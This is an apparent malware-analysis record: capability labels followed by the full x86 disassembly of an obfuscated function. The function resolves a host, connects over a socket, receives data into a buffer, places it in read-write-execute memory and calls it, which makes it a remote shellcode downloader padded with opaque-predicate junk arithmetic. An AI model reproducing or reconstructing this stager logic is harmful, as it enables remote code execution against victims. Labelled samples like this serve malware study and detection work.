Function at 0x10006fe0
Capabilities:
Allocate or change rwx memory
Connect socket
Encode data using xor
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x230
mov eax, dword [0x10290680]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1f4], 0
lea eax, [ebp - 0x19c]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
lea eax, [ebp - 0x1f0]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.101f4c90
mov dword [ebp - 0x1ec], 2
mov dword [ebp - 0x1e8], 1
mov dword [ebp - 0x1e4], 6
lea ecx, [ebp - 0x1b4]
lea eax, [0x10295bfc]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10006580
lea ecx, [0x10295bfc]
lea eax, [ebp - 0x1b4]
mov dword [esp], eax
call fcn.10007d00
sub esp, 4
lea ecx, [ebp - 0x1b4]
call fcn.10006100
lea ecx, [ebp - 0x1cc]
lea eax, [0x10295c14]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10006580
lea ecx, [0x10295c14]
lea eax, [ebp - 0x1cc]
mov dword [esp], eax
call fcn.10007d00
sub esp, 4
lea ecx, [ebp - 0x1cc]
call fcn.10006100
lea ecx, [0x10295c14]
call fcn.10008160
mov dword [ebp - 0x204], eax
lea ecx, [0x10295bfc]
call fcn.10008160
mov edx, dword [ebp - 0x204]
mov esi, eax
lea ecx, [ebp - 0x1f0]
lea eax, [ebp - 0x1d0]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
sub esp, 0x10
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0
je 0x100071b5
mov ecx, dword [0x1027f3d4]
mov edx, dword [0x1027f3d8]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
mov ecx, 0xfcef07d5
xor edx, edx
div ecx
sub eax, 0x1f1830fe
mov ecx, 0xcb7a9674
xor edx, edx
div ecx
cmp eax, 0x752fc720
ja 0x10007be0
mov eax, dword [0x1027f3dc]
add eax, dword [0x1027f3e0]
sub eax, 0x92814f9f
xor eax, 0xbc6b46cf
add eax, 0x549f095f
add eax, 0xc4042904
sub eax, 0x549f095f
mov dword [ebp - 0x208], eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov dword [esp], 0
call fcn.1020023e
mov eax, dword [ebp - 0x208]
cmp eax, 0xa0d6b1d4
jae 0x10007166
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x1f4], eax
mov eax, dword [0x1027f3e4]
add eax, dword [0x1027f3e8]
mov ecx, 0x5244041a
xor edx, edx
div ecx
mov ecx, 0xd50146de
xor edx, edx
div ecx
add eax, 0x94fcfc14
sub eax, 0x9e4ee7f7
sub eax, 0x94fcfc14
cmp eax, 0x3295bb
jb 0x10007bf9
mov eax, dword [0x1027f3ec]
mov ecx, dword [0x1027f3f0]
add eax, 0xf3da7302
sub eax, ecx
sub eax, 0xf3da7302
add eax, 0x4e9841ba
mov ecx, 0x59168ab8
xor edx, edx
div ecx
sub eax, 0x1c3e96c5
cmp dword [ebp - 0x1f4], 0
setne cl
mov byte [ebp - 0x209], cl
cmp eax, 0x2a87284b
jbe 0x100071f8
mov al, byte [ebp - 0x209]
test al, 1
jne 0x10007250
jmp 0x10007415
mov eax, dword [ebp - 0x1f4]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x1f4]
mov ecx, dword [ecx + 8]
mov edx, dword [ebp - 0x1f4]
mov edx, dword [edx + 4]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call dword [sym.imp.WS2_32.dll_socket]
sub esp, 0xc
mov dword [0x10295b2c], eax
cmp dword [0x10295b2c], 0xffffffff
jne 0x10007332
mov eax, dword [0x1027f3f4]
mov esi, dword [0x1027f3f8]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, esi
and edx, ecx
mov edi, esi
xor edi, 0xffffffff
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
add eax, 0xe96c37ae
or eax, 0xb74c52df
or eax, 0x813030cc
cmp eax, 0xfa012926
je 0x10007bfe
mov eax, dword [0x1027f3fc]
xor edx, edx
div dword [0x1027f400]
or eax, 0xb9e1ccc1
xor ecx, ecx
sub ecx, 0xf422ce53
sub eax, ecx
mov ecx, eax
and ecx, 0x2444e7c
xor ecx, 0xffffffff
add eax, 0x2444e7c
add eax, 1
add eax, ecx
mov dword [ebp - 0x210], eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov dword [esp], 0
call fcn.1020023e
mov eax, dword [ebp - 0x210]
cmp eax, 0x2320144
jb 0x100072d6
mov eax, dword [ebp - 0x1f4]
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x1f4]
mov ecx, dword [ecx + 0x18]
mov edx, dword [0x10295b2c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call dword [sym.imp.WS2_32.dll_connect]
sub esp, 0xc
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0xffffffff
jne 0x10007391
mov eax, dword [0x10295b2c]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [0x10295b2c], 0xffffffff
jmp 0x10007396
jmp 0x10007415
mov eax, dword [0x1027f404]
add eax, dword [0x1027f408]
or eax, 0xebc17e35
xor ecx, ecx
sub ecx, 0x2a424746
add eax, ecx
mov ecx, eax
and ecx, 0xd7407f1e
xor ecx, 0xffffffff
add eax, 0xd7407f1e
add eax, 1
add eax, ecx
cmp eax, 0xb90616a1
je 0x10007c17
mov eax, dword [0x1027f40c]
imul eax, dword [0x1027f410]
add eax, 0x448710
sub eax, 0x4f1ccb8c
sub eax, 0x448710
and eax, 0xb3f4b8f0
imul eax, eax, 0xcb853d44
mov ecx, dword [ebp - 0x1f4]
mov ecx, dword [ecx + 0x1c]
mov dword [ebp - 0x1f4], ecx
cmp eax, 0x1436d4bb
je 0x10007c17
jmp 0x100071c1
mov ecx, dword [0x1027f414]
mov edx, dword [0x1027f418]
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
add eax, 0x122c9393
add eax, 0x5a75bb71
imul eax, eax, 0xb691ae09
cmp eax, 0x8860505c
je 0x10007c2b
mov ecx, dword [0x1027f41c]
mov edx, dword [0x1027f420]
mov eax, ecx
and eax, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x9c4b6347
mov edx, 0xffffffff
xor edx, 0x9c4b6347
and eax, edx
sub eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x1627363c
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
xor eax, 0xb0ad3d49
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x1d0]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
sub esp, 4
mov eax, dword [ebp - 0x218]
cmp dword [0x10295b2c], 0xffffffff
sete cl
mov byte [ebp - 0x211], cl
cmp eax, 0x9c74a06b
je 0x10007444
mov al, byte [ebp - 0x211]
test al, 1
jne 0x100074e3
jmp 0x100075d2
mov eax, dword [0x1027f424]
sub eax, dword [0x1027f428]
mov esi, 0xffffffff
xor esi, 0x96d4f601
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x96d4f601
or eax, 0x96d4f601
imul eax, edx
add eax, ecx
mov ecx, 0x27d3d0d3
xor edx, edx
div ecx
mov ecx, 0x90df7032
xor edx, edx
div ecx
cmp eax, 0x785b573b
jae 0x10007c42
mov eax, dword [0x1027f42c]
mov edx, dword [0x1027f430]
and eax, eax
xor eax, 0xffffffff
mov ecx, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov edx, 0xffffffff
xor edx, 0x9e723fd7
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x9e723fd7
add eax, edx
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x54d6b83e
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x54d6b83e
or eax, 0x54d6b83e
imul eax, edx
add eax, ecx
mov ecx, 0xf635644d
xor edx, edx
div ecx
mov dword [ebp - 0x21c], eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov dword [esp], 0
call fcn.1020023e
mov eax, dword [ebp - 0x21c]
cmp eax, 0x1e82b3d5
ja 0x10007c42
mov eax, dword [0x1027f434]
xor edx, edx
div dword [0x1027f438]
mov ecx, eax
or ecx, 0x6ec04f94
and ecx, 0x8075cc99
mov eax, ecx
and eax, 0xf5192eec
or ecx, 0xf5192eec
add eax, ecx
cmp eax, 0x92bf679e
je 0x10007c5b
mov eax, dword [0x1027f43c]
mov edx, dword [0x1027f440]
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, edx
add eax, ecx
and eax, 0xb833733c
imul eax, eax, 0x17579924
mov ecx, 0x35758733
xor edx, edx
div ecx
mov dword [ebp - 0x1fc], 0
cmp eax, 0x2c943874
je 0x10007607
jmp 0x1000764c
mov eax, dword [section..data]
mov ecx, dword [0x10295b24]
sub eax, 0xecd651d7
sub eax, ecx
add eax, 0xecd651d7
mov ecx, dword [0x10295b28]
add ecx, dword [0x10295b24]
mov edx, dword [0x10295b2c]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0
jle 0x10007892
mov eax, dword [0x1027f444]
add eax, dword [0x1027f448]
imul eax, eax, 0x421ee309
mov ecx, eax
and ecx, 0x935c7fc1
shl ecx, 1
xor eax, 0x935c7fc1
add eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xa8448078
mov esi, 0xffffffff
xor esi, 0xa8448078
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xa8448078
or eax, 0xa8448078
imul eax, edx
add eax, ecx
cmp eax, 0xa00b0293
je 0x10007c6a
mov ecx, dword [0x1027f44c]
mov edx, dword [0x1027f450]
mov eax, ecx
and eax, edx
shl eax, 1
xor ecx, edx
add ecx, eax
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6b0416cc
mov esi, 0xffffffff
xor esi, 0x6b0416cc
and edx, esi
or eax, edx
xor eax, 0xffffffff
or ecx, 0x6b0416cc
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x1dbc3963
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x4e61d2f9
or ecx, 0x4e61d2f9
add eax, ecx
mov edx, dword [ebp - 0x1fc]
mov ecx, dword [0x10295b24]
sub ecx, 0x1913f3e8
add ecx, edx
add ecx, 0x1913f3e8
mov dword [0x10295b24], ecx
mov ecx, dword [0x10295b24]
cmp ecx, dword [section..data]
sete cl
mov byte [ebp - 0x21d], cl
cmp eax, 0xa39ed2d4
jae 0x10007c6a
mov al, byte [ebp - 0x21d]
test al, 1
jne 0x100077ba
jmp 0x100077e2
mov eax, dword [section..data]
shl eax, 1
mov dword [section..data], eax
mov eax, dword [section..data]
mov ecx, dword [0x10295b28]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10206320
mov dword [0x10295b28], eax
mov eax, dword [0x1027f454]
mov edx, dword [0x1027f458]
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, edx
add eax, ecx
and eax, 0x47fd2bbe
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xdd25ef7b
or ecx, 0xdd25ef7b
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, eax
xor ecx, 0x51e5cf25
xor ecx, 0xffffffff
and ecx, 0x51e5cf25
shl ecx, 1
sub ecx, 0x51e5cf25
sub eax, ecx
cmp eax, 0xf29587b5
je 0x10007c8b
mov eax, dword [0x1027f45c]
mov ecx, dword [0x1027f460]
sub eax, 0x62cdd8a6
sub eax, ecx
add eax, 0x62cdd8a6
mov ecx, eax
xor ecx, 0x396c23c4
xor ecx, 0xffffffff
or eax, 0x396c23c4
and eax, ecx
sub eax, 0x2c40e9ea
mov ecx, eax
and ecx, 0x5c5b85e9
xor ecx, 0xffffffff
add eax, 0x5c5b85e9
add eax, 1
add eax, ecx
cmp eax, 0x9648faab
jbe 0x1000783f
jmp 0x10007960
cmp dword [ebp - 0x1fc], 0
jne 0x1000792e
mov eax, dword [0x1027f464]
mov edx, dword [0x1027f468]
mov ecx, eax
xor ecx, 0xffffffff
and ecx, edx
xor edx, 0xffffffff
and eax, edx
sub eax, ecx
sub eax, 0xa1ba7114
imul eax, eax, 0xd28d26ca
add eax, 0x6df58480
cmp eax, 0xd83d569e
je 0x10007c90
mov ecx, dword [0x1027f46c]
mov edx, dword [0x1027f470]
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov esi, edx
xor esi, 0xffffffff
mov edi, edx
xor edi, 0xffffffff
and esi, edi
xor eax, 0xffffffff
xor esi, 0xffffffff
and eax, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
imul eax, eax, 0x82d22e86
sub eax, 0x438c5c43
mov ecx, 0x63446ff0
xor edx, edx
div ecx
cmp eax, 0xe8662d25
je 0x100078d3
jmp 0x10007ac6
mov eax, dword [0x10295b2c]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [0x10295b28]
mov dword [esp], eax
call fcn.10205360
xor eax, eax
mov dword [esp], 0
call fcn.1020023e
mov eax, dword [0x1027f474]
xor edx, edx
div dword [0x1027f478]
xor eax, 0x86d6de6d
mov ecx, eax
and ecx, 0x261cf427
shl ecx, 1
add eax, 0x261cf427
sub eax, ecx
mov ecx, 0xb71d321c
xor edx, edx
div ecx
cmp eax, 0x26866e7d
ja 0x10007c95
mov ecx, dword [0x1027f47c]
mov edx, dword [0x1027f480]
or ecx, ecx
xor ecx, 0xffffffff
mov eax, edx
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
add ecx, 0x63dc1aa2
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0x82344b36
or edx, 0x82344b36
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or ecx, 0x82344b36
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x6b9fe168
xor edx, edx
div ecx
cmp eax, 0xe339355b
ja 0x10007997
jmp 0x100079fe
mov ecx, dword [0x1027f484]
mov edx, dword [0x1027f488]
mov eax, ecx
and eax, edx
shl eax, 1
add ecx, edx
sub ecx, eax
add ecx, 0x4a66016
add ecx, 0xec92ae4e
sub ecx, 0x4a66016
xor eax, eax
sub eax, 0xace6c2b2
sub ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x37d25c38
or eax, edx
mov edx, 0x37d25c38
and edx, 0x37d25c38
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
cmp eax, 0xb4fe0635
jbe 0x10007c9a
mov eax, dword [0x1027f48c]
mov edx, dword [0x1027f490]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
or eax, 0x52541c60
sub eax, 0xe999acee
mov ecx, 0x8b9a92f1
xor edx, edx
div ecx
cmp dword [ebp - 0x1fc], 0
setg cl
mov byte [ebp - 0x21e], cl
cmp eax, 0xca8f6503
je 0x10007a6c
mov al, byte [ebp - 0x21e]
test al, 1
jne 0x1000764c
jmp 0x10007ac6
mov ecx, dword [0x1027f494]
imul ecx, dword [0x1027f498]
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xc781601c
mov edx, 0xffffffff
xor edx, 0xc781601c
and ecx, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x6fed793b
mov edx, 0xffffffff
xor edx, 0x6fed793b
and ecx, edx
or eax, ecx
mov ecx, 0xfeeaebf8
xor edx, edx
div ecx
cmp eax, 0xf5dcccd2
je 0x10007c9f
mov eax, dword [0x1027f49c]
add eax, dword [0x1027f4a0]
sub eax, 0x52deea6
imul ecx, eax, 0xd6932460
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x2e51b82e
or ecx, 0x2e51b82e
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov dword [ebp - 0x224], eax
mov eax, dword [0x10295b24]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x200], eax
mov edx, dword [ebp - 0x200]
mov ecx, dword [0x10295b28]
mov eax, dword [0x10295b24]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.101f4710
call dword [ebp - 0x200]
mov eax, dword [ebp - 0x224]
cmp eax, 0x989e4e9
ja 0x10007c9f
xor eax, eax
mov dword [ebp - 0x228], eax
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.100b5a82
mov eax, dword [ebp - 0x228]
add esp, 0x230
pop esi
pop edi
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov dword [esp], 0
call fcn.1020023e
jmp 0x10007166
jmp 0x100071f8
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov dword [esp], 0
call fcn.1020023e
jmp 0x100072d6
mov eax, dword [ebp - 0x1f4]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x1f4], eax
jmp 0x100073d0
mov eax, dword [ebp - 0x1d0]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
sub esp, 4
jmp 0x10007444
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov dword [esp], 0
call fcn.1020023e
jmp 0x10007536
mov dword [ebp - 0x1fc], 0
jmp 0x10007607
mov ecx, dword [ebp - 0x1fc]
mov eax, dword [0x10295b24]
sub eax, 0x9fbc8407
add eax, ecx
add eax, 0x9fbc8407
mov dword [0x10295b24], eax
jmp 0x10007702
jmp 0x1000783f
jmp 0x100078d3
jmp 0x10007997
jmp 0x10007a6c
mov eax, dword [0x10295b24]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x200], eax
mov edx, dword [ebp - 0x200]
mov ecx, dword [0x10295b28]
mov eax, dword [0x10295b24]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.101f4710
call dword [ebp - 0x200]
jmp 0x10007b19